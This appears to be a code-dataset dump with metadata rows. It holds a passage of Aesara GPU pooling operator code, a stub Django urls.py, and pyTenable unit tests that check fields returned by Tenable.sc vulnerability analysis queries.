[gpuarray_helper_inc_dir(), pygpu.get_include()] def make_node(self, inp, ws, stride=None, pad=None): ctx_name = infer_context_name(inp) inp = as_gpuarray_variable(inp, ctx_name) nd = self.ndim assert inp.ndim == nd + 2 if stride is None: stride = ws if pad is None: pad = (0,) * nd elif isinstance(pad, (tuple, list)): if max(pad) != 0 and not self.ignore_border: raise ValueError("Padding works only with ignore_border=True") if isinstance(ws, (tuple, list)): if any(pad[i] >= ws[i] for i in range(nd)): raise ValueError("Padding must be smaller than strides") ws = as_tensor_variable(ws) stride = as_tensor_variable(stride) pad = as_tensor_variable(pad) assert ws.ndim == stride.ndim and ws.ndim == pad.ndim assert ws.ndim == 1 if ws.dtype not in int_dtypes: raise TypeError("Window shape parameters must be ints.") if stride.dtype not in int_dtypes: raise TypeError("Stride parameters must be ints.") if pad.dtype not in int_dtypes: raise TypeError("Padding parameters must be ints.") ws = aesara.tensor.cast(ws, "int64") stride = aesara.tensor.cast(stride, "int64") pad = aesara.tensor.cast(pad, "int64") return Apply(self, [inp, ws, stride, pad], [inp.type()]) def infer_shape(self, fgraph, node, in_shapes): ws, stride, pad = [node.inputs[1], node.inputs[2], node.inputs[3]] shp = Pool.out_shape( in_shapes[0], ws, self.ignore_border, stride, pad, self.ndim ) return [shp] def grad(self, inp, grads): img, ws, stride, pad = inp (grad,) = grads grad = gpu_contiguous(grad) disc = [aesara.gradient.DisconnectedType()() for i in inp[1:]] if self.mode == "max": out = self(img, ws, stride, pad) g_out = GpuMaxPoolGrad(ndim=self.ndim, ignore_border=self.ignore_border)( img, out, grad, ws, stride, pad ) return [g_out] + disc else: g_out = GpuAveragePoolGrad( ndim=self.ndim, ignore_border=self.ignore_border, mode=self.mode )(img, grad, ws, stride, pad) return [g_out] + disc def connection_pattern(self, node): return [[1], [0], [0], [0]] def R_op(self, inputs, eval_points): if self.mode != "max": # Rop for average or sum is simply pooling evaluated at eval point eval_inputs = [eval_points[0]] + inputs[1:] return [self(*eval_inputs)] # R_op can receive None as eval_points. # That mean there is no diferientiable path through that input # If this imply that you cannot compute some outputs, # return None for those. if eval_points[0] is None: return [None] z = self(*inputs) x, ws, stride, pad = inputs return [ GpuDownsampleFactorMaxGradGrad(self.ignore_border, self.mode, self.ndim)( x, z, eval_points[0], ws, stride, pad ) ] class GpuMaxPoolGrad(CGpuKernelBase): """ Implement the grad of max pooling on the gpu. """ __props__ = ("ignore_border", "mode", "ndim") def __init__(self, ignore_border, mode="max", ndim=2): self.ndim = ndim self.ignore_border = ignore_border self.mode = mode CGpuKernelBase.__init__( self, ["c_code/pool_max_grad.c"], "APPLY_SPECIFIC(max_pool_grad)" ) assert mode == "max" assert ndim in [2, 3] def c_headers(self, **kwargs): return ["gpuarray_api.h", "gpuarray_helper.h", "numpy_compat.h"] def c_header_dirs(self, **kwargs): return [gpuarray_helper_inc_dir(), pygpu.get_include()] def make_node(self, inp, out, out_grad, ws, stride=None, pad=None): ctx_name = infer_context_name(inp, out, out_grad) nd = self.ndim inp = as_gpuarray_variable(inp, ctx_name) assert inp.ndim == nd + 2 out = as_gpuarray_variable(out, ctx_name) assert out.ndim == nd + 2 out_grad = as_gpuarray_variable(out_grad, ctx_name) assert out_grad.ndim == nd + 2 assert out_grad.ndim == inp.ndim assert inp.ndim == out.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd ws = as_tensor_variable(ws) stride = as_tensor_variable(stride) pad = as_tensor_variable(pad) assert ws.ndim == stride.ndim and ws.ndim == pad.ndim assert ws.ndim == 1 if ws.dtype not in int_dtypes: raise TypeError("Window shape parameters must be ints.") if stride.dtype not in int_dtypes: raise TypeError("Stride parameters must be ints.") if pad.dtype not in int_dtypes: raise TypeError("Padding parameters must be ints.") ws = aesara.tensor.cast(ws, "int64") stride = aesara.tensor.cast(stride, "int64") pad = aesara.tensor.cast(pad, "int64") return Apply(self, [inp, out, out_grad, ws, stride, pad], [inp.type()]) def infer_shape(self, fgraph, node, in_shapes): return [in_shapes[0]] def grad(self, inp, grads): x, maxout, gz, ws, stride, pad = inp (ggx,) = grads return [ aesara.tensor.zeros_like(x), aesara.tensor.zeros_like(maxout), GpuDownsampleFactorMaxGradGrad( ndim=self.ndim, ignore_border=self.ignore_border )(x, maxout, ggx, ws, stride, pad), ] + [aesara.gradient.DisconnectedType()() for i in inp[3:]] def connection_pattern(self, node): return [[1], [1], [1], [0], [0], [0]] class GpuAveragePoolGrad(CGpuKernelBase): """ Implement the grad of average pooling on the gpu. """ __props__ = ("ignore_border", "mode", "ndim") params_type = ParamsType(mode=PoolingMode_t, context=gpu_context_type) def __init__(self, ignore_border, mode="max", ndim=2): self.ndim = ndim self.ignore_border = ignore_border if mode == "average": mode = "average_inc_pad" self.mode = mode CGpuKernelBase.__init__( self, ["c_code/pool_ave_grad.c"], "APPLY_SPECIFIC(ave_pool_grad)" ) assert mode in ("sum", "average_inc_pad", "average_exc_pad") assert ndim in [2, 3] def get_params(self, node): return self.params_type.get_params(self, context=node.inputs[0].type.context) def c_headers(self, **kwargs): return ["gpuarray_api.h", "gpuarray_helper.h", "numpy_compat.h"] def c_header_dirs(self, **kwargs): return [gpuarray_helper_inc_dir(), pygpu.get_include()] def make_node(self, inp, out_grad, ws, stride=None, pad=None): ctx_name = infer_context_name(inp, out_grad) nd = self.ndim inp = as_gpuarray_variable(inp, ctx_name) assert inp.ndim == nd + 2 out_grad = as_gpuarray_variable(out_grad, ctx_name) assert out_grad.ndim == nd + 2 assert out_grad.ndim == inp.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd elif isinstance(pad, (tuple, list)): if max(pad) != 0 and not self.mode == "average_exc_pad": raise ValueError("Padding must be zero for average_exc_pad") ws = as_tensor_variable(ws) stride = as_tensor_variable(stride) pad = as_tensor_variable(pad) assert ws.ndim == stride.ndim and ws.ndim == pad.ndim assert ws.ndim == 1 if ws.dtype not in int_dtypes: raise TypeError("Window shape parameters must be ints.") if stride.dtype not in int_dtypes: raise TypeError("Stride parameters must be ints.") if pad.dtype not in int_dtypes: raise TypeError("Padding parameters must be ints.") ws = aesara.tensor.cast(ws, "int64") stride = aesara.tensor.cast(stride, "int64") pad = aesara.tensor.cast(pad, "int64") return Apply(self, [inp, out_grad, ws, stride, pad], [inp.type()]) def infer_shape(self, fgraph, node, in_shapes): return [in_shapes[0]] def grad(self, inp, grads): x, gz, ws, stride, pad = inp (ggx,) = grads return [ aesara.tensor.zeros_like(x), GpuPool(ignore_border=self.ignore_border, ndim=self.ndim, mode=self.mode)( ggx, ws, stride, pad ), ] + [aesara.gradient.DisconnectedType()() for i in inp[2:]] def connection_pattern(self, node): return [[1], [1], [0], [0], [0]] class GpuDownsampleFactorMaxGradGrad(CGpuKernelBase): """ Implement the grad of downsample with max on the gpu. """ __props__ = ("ignore_border", "mode", "ndim") def __init__(self, ignore_border, mode="max", ndim=2): self.ndim = ndim self.ignore_border = ignore_border self.mode = mode CGpuKernelBase.__init__( self, ["c_code/pool_grad_grad.c"], "APPLY_SPECIFIC(pool_grad_grad)" ) assert self.mode == "max" assert self.ndim in [2, 3] def c_headers(self, **kwargs): return ["gpuarray_api.h", "gpuarray_helper.h", "numpy_compat.h"] def c_header_dirs(self, **kwargs): return [gpuarray_helper_inc_dir(), pygpu.get_include()] def make_node(self, inp, out, out_grad, ws, stride=None, pad=None): ctx_name = infer_context_name(inp, out, out_grad) nd = self.ndim inp = as_gpuarray_variable(inp, ctx_name) assert inp.ndim == nd + 2 out = as_gpuarray_variable(out, ctx_name) assert out_grad.ndim == nd + 2 out_grad = as_gpuarray_variable(out_grad, ctx_name) assert out.ndim == nd + 2 assert out_grad.ndim == inp.ndim assert inp.ndim == out.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd ws = as_tensor_variable(ws) stride = as_tensor_variable(stride) pad = as_tensor_variable(pad) assert ws.ndim == stride.ndim and ws.ndim == pad.ndim assert ws.ndim == 1 if ws.dtype not in int_dtypes: raise TypeError("Window shape parameters must be ints.") if stride.dtype not in int_dtypes: raise TypeError("Stride parameters must be ints.") if pad.dtype not in int_dtypes: raise TypeError("Padding parameters must be ints.") ws = aesara.tensor.cast(ws, "int64") stride = aesara.tensor.cast(stride, "int64") pad = aesara.tensor.cast(pad, "int64") return Apply(self, [inp, out, out_grad, ws, stride, pad], [inp.type()]) def infer_shape(self, fgraph, node, in_shapes): return [in_shapes[1]] def grad(self, inp, grads): x, maxout, ggx, ws, stride, pad = inp (gz,) = grads return [ aesara.tensor.zeros_like(x), aesara.tensor.zeros_like(maxout), GpuMaxPoolGrad(ignore_border=self.ignore_border, ndim=self.ndim)( x, maxout, gz, ws, stride, pad ), ] + [aesara.gradient.DisconnectedType()() for i in inp[3:]] def connection_pattern(self, node): return [[1], [1], [1], [0], [0], [0]] class GpuMaxPoolRop(CGpuKernelBase): """ Implements the R-operator for the downsample operation. """ __props__ = ("ignore_border", "mode", "ndim") params_type = ParamsType(ignore_border=bool_t, context=gpu_context_type) def __init__(self, ignore_border, mode="max", ndim=2): self.ndim = ndim self.ignore_border = ignore_border self.mode = mode CGpuKernelBase.__init__( self, ["c_code/pool_max_rop.c"], "APPLY_SPECIFIC(max_pool_rop)" ) assert mode == "max" assert ndim in [2, 3] def get_params(self, node): return self.params_type.get_params(self, context=node.inputs[0].type.context) def c_headers(self, **kwargs): return ["gpuarray_api.h", "gpuarray_helper.h", "numpy_compat.h"] def c_header_dirs(self, **kwargs): return [gpuarray_helper_inc_dir(), pygpu.get_include()] def make_node(self, inp, eval_point, ws, stride=None, pad=None): ctx_name = infer_context_name(inp) nd = self.ndim inp = as_gpuarray_variable(inp, ctx_name) assert inp.ndim == nd + 2 eval_point = as_gpuarray_variable(eval_point, ctx_name) assert eval_point.ndim == nd + 2 if stride is None: stride = ws if pad is None: pad = (0,) * nd elif isinstance(pad, (tuple, list)): if max(pad) != 0 and not self.ignore_border: raise ValueError("Padding works only with ignore_border=True") if isinstance(ws, (tuple, list)): if any(pad[i] >= ws[i] for i in range(nd)): raise ValueError("Padding must be smaller than strides") ws = as_tensor_variable(ws) stride = as_tensor_variable(stride) pad = as_tensor_variable(pad) assert ws.ndim == stride.ndim and ws.ndim == pad.ndim assert ws.ndim == 1 if ws.dtype not in int_dtypes: raise TypeError("Window shape parameters must be ints.") if stride.dtype not in int_dtypes: raise TypeError("Stride parameters must be ints.") if pad.dtype not in int_dtypes: raise TypeError("Padding parameters must be ints.") ws = aesara.tensor.cast(ws, "int64") stride = aesara.tensor.cast(stride, "int64") pad = aesara.tensor.cast(pad, "int64") return Apply(self, [inp, eval_point, ws, stride, pad], [eval_point.type()]) def infer_shape(self, fgraph, node, in_shapes): ws, stride, pad = [node.inputs[2], node.inputs[3], node.inputs[4]] shp = Pool.out_shape( in_shapes[0], ws, self.ignore_border, stride, pad, self.ndim ) return [shp]

35.372197

86

0.604336

2,087

15,776

4.379971

0.087207

0.051198

0.035007

0.021332

0.821026

0.799475

0.788754

0.771579

0.738978

0.734712

0

0.009885

0.28182

15,776

445

87

35.451685

0.796911

0.033532

0

0.720117

0

0.0963

0.013456

0

0.104956

1

0.107872

false

0.002915

0.03207

0.058309

0.279883

0

null

0

1

0

1

0

null

0

7

fe29d9b9384f179c013b1d09c6ea1d3037e5ab56

181

py

Python

social_stream/facebook/urls.py

chalkchisel/django-social-stream

89a5c83845091842f915f32202f03472e9d67b89

[ "MIT" ]

null

social_stream/facebook/urls.py

chalkchisel/django-social-stream

89a5c83845091842f915f32202f03472e9d67b89

[ "MIT" ]

null

social_stream/facebook/urls.py

chalkchisel/django-social-stream

89a5c83845091842f915f32202f03472e9d67b89

[ "MIT" ]

null

from django.conf.urls import include from django.conf.urls import patterns from django.conf.urls import url from django.http import HttpResponse urlpatterns = patterns( '', )

18.1

37

0.779006

25

181

5.64

0.44

0.283688

0.297872

0.382979

0.510638

0

0.149171

181

9

38

20.111111

0.915584

0

1

0

false

0

0.571429

0

0.571429

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

fe378c1fd22e97ff6de83d64006919979ac9ba53

38,886

py

Python

tests/sc/test_analysis.py

39biradar/pyTenable

a055140bc864bb950fd1053ab598ff2da12cf408

[ "MIT" ]

null

tests/sc/test_analysis.py

39biradar/pyTenable

a055140bc864bb950fd1053ab598ff2da12cf408

[ "MIT" ]

null

tests/sc/test_analysis.py

39biradar/pyTenable

a055140bc864bb950fd1053ab598ff2da12cf408

[ "MIT" ]

null

import pytest from tenable.sc.analysis import AnalysisResultsIterator from ..checker import check from tenable.errors import UnexpectedValueError def test_analysis_constructor_type_error(sc): with pytest.raises(TypeError): sc.analysis._analysis(tool=1, type='type', sort_field='field', sort_direction=1) with pytest.raises(TypeError): sc.analysis._analysis(tool=1, type='type', sort_field='field', sort_direction='ASC', offset=0, limit='limit') def test_analysis_constructor_success(sc): analysis = sc.analysis._analysis(tool=1, type='type', sort_field='field', sort_direction='ASC', offset=0, payload={'sourceType': 'individual'}) assert isinstance(analysis, AnalysisResultsIterator) def test_analysis_asset_expansion_simple(sc): resp = sc.analysis._combo_expansion(('or', 1, 2)) assert resp == { 'operator': 'union', 'operand1': {'id': '1'}, 'operand2': {'id': '2'}, } def test_analysis_asset_expansion_complex(sc): resp = sc.analysis._combo_expansion( ('or', ('and', 1, 2), ('not', ('or', 3, 4)))) assert resp == { 'operator': 'union', 'operand1': { 'operator': 'intersection', 'operand1': {'id': '1'}, 'operand2': {'id': '2'}, }, 'operand2': { 'operator': 'complement', 'operand1': { 'operator': 'union', 'operand1': {'id': '3'}, 'operand2': {'id': '4'} } } } def test_analysis_query_constructor_simple(sc): resp = sc.analysis._query_constructor( ('filter1', 'operator1', 'value1'), ('filter2', 'operator2', 'value2'), tool='tool_test', type='type_test') assert resp == { 'tool': 'tool_test', 'query': { 'tool': 'tool_test', 'type': 'type_test', 'filters': [{ 'filterName': 'filter1', 'operator': 'operator1', 'value': 'value1', }, { 'filterName': 'filter2', 'operator': 'operator2', 'value': 'value2' }] } } def test_analysis_query_constructor_replace(sc): resp = sc.analysis._query_constructor( ('filter1', 'operator1', 'badvalue'), ('filter1', 'operator1', 'value1'), ('filter2', 'operator2', 'value2'), tool='tool_test', type='type_test') assert resp == { 'tool': 'tool_test', 'query': { 'tool': 'tool_test', 'type': 'type_test', 'filters': [{ 'filterName': 'filter1', 'operator': 'operator1', 'value': 'value1', }, { 'filterName': 'filter2', 'operator': 'operator2', 'value': 'value2' }] } } def test_analysis_query_constructor_remove(sc): resp = sc.analysis._query_constructor( ('filter3', 'operator1', 'badvalue'), ('filter1', 'operator1', 'value1'), ('filter2', 'operator2', 'value2'), ('filter3', None, None), tool='tool_test', type='type_test') assert resp == { 'tool': 'tool_test', 'query': { 'tool': 'tool_test', 'type': 'type_test', 'filters': [{ 'filterName': 'filter1', 'operator': 'operator1', 'value': 'value1', }, { 'filterName': 'filter2', 'operator': 'operator2', 'value': 'value2' }] } } def test_analysis_query_constructor_asset(sc): resp = sc.analysis._query_constructor(('asset', '~', ('or', 1, 2)), tool='tool', type='type') assert resp == { 'tool': 'tool', 'query': { 'tool': 'tool', 'type': 'type', 'filters': [{ 'filterName': 'asset', 'operator': '~', 'value': { 'operator': 'union', 'operand1': {'id': '1'}, 'operand2': {'id': '2'}, } }] } } def test_analysis_vulns(sc): vulns = sc.analysis.vulns(source='cumulative', scan_id=1) assert isinstance(vulns, AnalysisResultsIterator) def test_analysis_scan(sc): scan = sc.analysis.scan(1) assert isinstance(scan, AnalysisResultsIterator) def test_analysis_events(sc): event = sc.analysis.events(source='archive', silo_id='silo_id') assert isinstance(event, AnalysisResultsIterator) def test_analysis_events_unexpected_value_error(sc): with pytest.raises(UnexpectedValueError): sc.analysis.events(source='archive') @pytest.mark.vcr() def test_analysis_vulns_cceipdetail_tool(sc): vulns = sc.analysis.vulns(tool='cceipdetail', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) @pytest.mark.vcr() def test_analysis_vulns_cveipdetail_tool(sc): vulns = sc.analysis.vulns(tool='cveipdetail', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'cveID', str) check(vuln, 'total', str) check(vuln, 'hosts', list) host = vuln['hosts'][0] check(host, 'iplist', list) check(host, 'repositoryID', str) for ip_address in host['iplist']: check(ip_address, 'ip', str) check(ip_address, 'netbiosName', str) check(ip_address, 'dnsName', str) check(ip_address, 'uuid', str) check(ip_address, 'macAddress', str) @pytest.mark.vcr() def test_analysis_vulns_iavmipdetail_tool(sc): vulns = sc.analysis.vulns(tool='iavmipdetail', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'iavmID', str) check(vuln, 'total', str) check(vuln, 'hosts', list) host = vuln['hosts'][0] check(host, 'iplist', list) check(host, 'repositoryID', str) for ip_address in host['iplist']: check(ip_address, 'ip', str) check(ip_address, 'netbiosName', str) check(ip_address, 'dnsName', str) check(ip_address, 'uuid', str) check(ip_address, 'macAddress', str) @pytest.mark.vcr() def test_analysis_vulns_iplist_tool(sc): vulns = sc.analysis.vulns(tool='iplist', pages=2, limit=5) assert isinstance(vulns, dict) for vuln in vulns: check(vulns, vuln, str) @pytest.mark.vcr() def test_analysis_vulns_listmailclients_tool(sc): vulns = sc.analysis.vulns(tool='listmailclients', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'count', str) check(vuln, 'detectionMethod', str) check(vuln, 'name', str) @pytest.mark.vcr() def test_analysis_vulns_listservices_tool(sc): vulns = sc.analysis.vulns(tool='listservices', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'count', str) check(vuln, 'detectionMethod', str) check(vuln, 'name', str) @pytest.mark.vcr() def test_analysis_vulns_listos_tool(sc): vulns = sc.analysis.vulns(tool='listos', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'count', str) check(vuln, 'detectionMethod', str) check(vuln, 'name', str) @pytest.mark.vcr() def test_analysis_vulns_listsoftware_tool(sc): vulns = sc.analysis.vulns(tool='listsoftware', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'count', str) check(vuln, 'detectionMethod', str) check(vuln, 'name', str) @pytest.mark.vcr() def test_analysis_vulns_listsshservers_tool(sc): vulns = sc.analysis.vulns(tool='listsshservers', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'count', str) check(vuln, 'detectionMethod', str) check(vuln, 'name', str) @pytest.mark.vcr() def test_analysis_vulns_listvuln_tool(sc): vulns = sc.analysis.vulns(tool='listvuln', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'macAddress', str) check(vuln, 'uniqueness', str) check(vuln, 'protocol', str) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) check(vuln, 'family', dict) check(vuln['family'], 'type', str) check(vuln['family'], 'id', str) check(vuln['family'], 'name', str) check(vuln, 'pluginInfo', str) check(vuln, 'ip', str) check(vuln, 'netbiosName', str) check(vuln, 'name', str) check(vuln, 'repository', dict) check(vuln['repository'], 'description', str) check(vuln['repository'], 'dataFormat', str) check(vuln['repository'], 'id', str) check(vuln['repository'], 'name', str) check(vuln, 'pluginID', str) check(vuln, 'dnsName', str) check(vuln, 'port', str) check(vuln, 'uuid', str) @pytest.mark.vcr() def test_analysis_vulns_listwebclients_tool(sc): vulns = sc.analysis.vulns(tool='listwebclients', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'count', str) check(vuln, 'detectionMethod', str) check(vuln, 'name', str) @pytest.mark.vcr() def test_analysis_vulns_listwebservers_tool(sc): vulns = sc.analysis.vulns(tool='listwebservers', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'count', str) check(vuln, 'detectionMethod', str) check(vuln, 'name', str) @pytest.mark.vcr() def test_analysis_vulns_sumasset_tool(sc): vulns = sc.analysis.vulns(tool='sumasset', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityMedium', str) check(vuln, 'severityLow', str) check(vuln, 'severityInfo', str) check(vuln, 'total', str) check(vuln, 'score', str) check(vuln, 'asset', dict) check(vuln['asset'], 'status', str) check(vuln['asset'], 'description', str) check(vuln['asset'], 'type', str) check(vuln['asset'], 'id', str) check(vuln['asset'], 'name', str) @pytest.mark.vcr() def test_analysis_vulns_sumcce_tool(sc): vulns = sc.analysis.vulns(tool='sumcce', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) @pytest.mark.vcr() def test_analysis_vulns_sumclassa_tool(sc): vulns = sc.analysis.vulns(tool='sumclassa', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityMedium', str) check(vuln, 'severityLow', str) check(vuln, 'severityInfo', str) check(vuln, 'total', str) check(vuln, 'score', str) check(vuln, 'ip', str) check(vuln, 'repository', dict) check(vuln['repository'], 'dataFormat', str) check(vuln['repository'], 'description', str) check(vuln['repository'], 'id', str) check(vuln['repository'], 'name', str) @pytest.mark.vcr() def test_analysis_vulns_sumclassb_tool(sc): vulns = sc.analysis.vulns(tool='sumclassb', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityMedium', str) check(vuln, 'severityLow', str) check(vuln, 'severityInfo', str) check(vuln, 'total', str) check(vuln, 'score', str) check(vuln, 'ip', str) check(vuln, 'repository', dict) check(vuln['repository'], 'dataFormat', str) check(vuln['repository'], 'description', str) check(vuln['repository'], 'id', str) check(vuln['repository'], 'name', str) @pytest.mark.vcr() def test_analysis_vulns_sumclassc_tool(sc): vulns = sc.analysis.vulns(tool='sumclassc', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityMedium', str) check(vuln, 'severityLow', str) check(vuln, 'severityInfo', str) check(vuln, 'total', str) check(vuln, 'score', str) check(vuln, 'ip', str) check(vuln, 'repository', dict) check(vuln['repository'], 'dataFormat', str) check(vuln['repository'], 'description', str) check(vuln['repository'], 'id', str) check(vuln['repository'], 'name', str) @pytest.mark.vcr() def test_analysis_vulns_sumcve_tool(sc): vulns = sc.analysis.vulns(tool='sumcve', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'cveID', str) check(vuln, 'total', str) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) check(vuln, 'hostTotal', str) @pytest.mark.vcr() def test_analysis_vulns_sumdnsname_tool(sc): vulns = sc.analysis.vulns(tool='sumdnsname', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'dnsName', str) check(vuln, 'score', str) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityMedium', str) check(vuln, 'severityLow', str) check(vuln, 'severityInfo', str) check(vuln, 'repository', dict) check(vuln['repository'], 'dataFormat', str) check(vuln['repository'], 'description', str) check(vuln['repository'], 'id', str) check(vuln['repository'], 'name', str) @pytest.mark.vcr() def test_analysis_vulns_sumfamily_tool(sc): vulns = sc.analysis.vulns(tool='sumfamily', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'family', dict) check(vuln['family'], 'type', str) check(vuln['family'], 'id', str) check(vuln['family'], 'name', str) check(vuln, 'score', str) check(vuln, 'total', str) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityMedium', str) check(vuln, 'severityLow', str) check(vuln, 'severityInfo', str) @pytest.mark.vcr() def test_analysis_vulns_sumiavm_tool(sc): vulns = sc.analysis.vulns(tool='sumiavm', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'iavmID', str) check(vuln, 'total', str) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) check(vuln, 'hostTotal', str) @pytest.mark.vcr() def test_analysis_vulns_sumid_tool(sc): vulns = sc.analysis.vulns(tool='sumid', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) check(vuln, 'family', dict) check(vuln['family'], 'type', str) check(vuln['family'], 'id', str) check(vuln['family'], 'name', str) check(vuln, 'hostTotal', str) check(vuln, 'pluginID', str) check(vuln, 'total', str) check(vuln, 'name', str) @pytest.mark.vcr() def test_analysis_vulns_sumip_tool(sc): vulns = sc.analysis.vulns(tool='sumip', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'macAddress', str) check(vuln, 'lastAuthRun', str) check(vuln, 'ip', str) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityMedium', str) check(vuln, 'severityLow', str) check(vuln, 'severityInfo', str) check(vuln, 'total', str) check(vuln, 'mcafeeGUID', str) check(vuln, 'policyName', str) check(vuln, 'uuid', str) check(vuln, 'osCPE', str) check(vuln, 'uniqueness', str) check(vuln, 'score', str) check(vuln, 'dnsName', str) check(vuln, 'lastUnauthRun', str) check(vuln, 'biosGUID', str) check(vuln, 'tpmID', str) check(vuln, 'pluginSet', str) check(vuln, 'netbiosName', str) check(vuln, 'repository', dict) check(vuln['repository'], 'dataFormat', str) check(vuln['repository'], 'description', str) check(vuln['repository'], 'id', str) check(vuln['repository'], 'name', str) @pytest.mark.vcr() def test_analysis_vulns_summsbulletin_tool(sc): vulns = sc.analysis.vulns(tool='summsbulletin', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'msbulletinID', str) check(vuln, 'total', str) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) check(vuln, 'hostTotal', str) @pytest.mark.vcr() def test_analysis_vulns_sumport_tool(sc): vulns = sc.analysis.vulns(tool='sumport', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'port', str) check(vuln, 'score', str) check(vuln, 'total', str) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityMedium', str) check(vuln, 'severityLow', str) check(vuln, 'severityInfo', str) @pytest.mark.vcr() def test_analysis_vulns_sumprotocol_tool(sc): vulns = sc.analysis.vulns(tool='sumprotocol', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'protocol', str) check(vuln, 'score', str) check(vuln, 'total', str) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityMedium', str) check(vuln, 'severityLow', str) check(vuln, 'severityInfo', str) @pytest.mark.vcr() def test_analysis_vulns_sumremediation_tool(sc): vulns = sc.analysis.vulns(tool='sumremediation', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'hostTotal', str) check(vuln, 'scorePctg', str) check(vuln, 'totalPctg', str) check(vuln, 'msbulletinTotal', str) check(vuln, 'remediationList', str) check(vuln, 'cpe', str) check(vuln, 'cveTotal', str) check(vuln, 'solution', str) check(vuln, 'pluginID', str) check(vuln, 'score', str) check(vuln, 'total', str) @pytest.mark.vcr() def test_analysis_vulns_sumseverity_tool(sc): vulns = sc.analysis.vulns(tool='sumseverity', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'count', str) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) @pytest.mark.vcr() def test_analysis_vulns_sumuserresponsibility_tool(sc): vulns = sc.analysis.vulns(tool='sumuserresponsibility', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) @pytest.mark.vcr() def test_analysis_vulns_sumuserresponsibility_tool(sc): vulns = sc.analysis.vulns(tool='sumuserresponsibility', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'score', str) check(vuln, 'total', str) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityMedium', str) check(vuln, 'severityLow', str) check(vuln, 'severityInfo', str) check(vuln, 'userList', list) for user in vuln['userList']: check(user, 'firstname', str) check(user, 'id', str) check(user, 'lastname', str) check(user, 'status', str) check(user, 'username', str) @pytest.mark.vcr() def test_analysis_vulns_trend_tool(sc): vulns = sc.analysis.vulns(tool='trend', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) @pytest.mark.vcr() def test_analysis_vulns_vulndetails_tool(sc): vulns = sc.analysis.vulns(tool='vulndetails', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'acceptRisk', str) check(vuln, 'baseScore', str) check(vuln, 'bid', str) check(vuln, 'checkType', str) check(vuln, 'cpe', str) check(vuln, 'cve', str) check(vuln, 'cvssV3BaseScore', str) check(vuln, 'cvssV3TemporalScore', str) check(vuln, 'cvssV3Vector', str) check(vuln, 'cvssVector', str) check(vuln, 'description', str) check(vuln, 'dnsName', str) check(vuln, 'exploitAvailable', str) check(vuln, 'exploitEase', str) check(vuln, 'exploitFrameworks', str) check(vuln, 'family', dict) check(vuln['family'], 'type', str) check(vuln['family'], 'id', str) check(vuln['family'], 'name', str) check(vuln, 'firstSeen', str) check(vuln, 'hasBeenMitigated', str) check(vuln, 'ip', str) check(vuln, 'lastSeen', str) check(vuln, 'macAddress', str) check(vuln, 'netbiosName', str) check(vuln, 'patchPubDate', str) check(vuln, 'pluginID', str) check(vuln, 'pluginInfo', str) 